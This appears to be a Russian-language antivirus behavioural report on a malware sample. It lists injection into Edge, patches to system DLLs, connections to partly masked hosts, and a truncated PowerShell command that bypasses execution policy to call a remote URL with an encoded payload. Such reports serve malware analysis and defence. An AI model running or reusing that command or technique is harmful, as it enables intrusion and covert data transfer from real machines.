Техническая информация
Вредоносные функции
Внедряет код в
следующие пользовательские процессы:
- msedge.exe
Патчит код
в динамической библиотеке
- Процесс ikrws.exe, модуль KERNEL32.dll
в динамической библиотеке NTDLL
- Процесс ikrws.exe, модуль ntdll.dll
Изменения в файловой системе
Создает следующие файлы
- %ProgramFiles(x86)%\microsoft\edge\application\89.0.774.68\chrome_debug.log
- nul
Сетевая активность
Подключается к
- 'ch#####.amazonaws.com':443
- 'ni###ly-sun.cc':443
- 't.#e':443
- 'bu#.report':443
TCP
Другие
- 'ch#####.amazonaws.com':443
- 'ni###ly-sun.cc':443
- 'bu#.report':443
UDP
- DNS ASK ch#####.amazonaws.com
- DNS ASK ni###ly-sun.cc
- DNS ASK t.#e
- DNS ASK bu#.report
Другое
Запускает на исполнение
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --headless --incognito
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command "try{Invoke-RestMethod -Uri 'https://bun.report/1.3.14/e_10d9b296EggogC66j0pBq1x0rBi4q44Bi8zs3Bwpjk3Bym3j3B68xs3B2nlo6Bkx1k3Bym6i3Bi++n6By08yqB4ip+tBkuv+tB+9q2C...
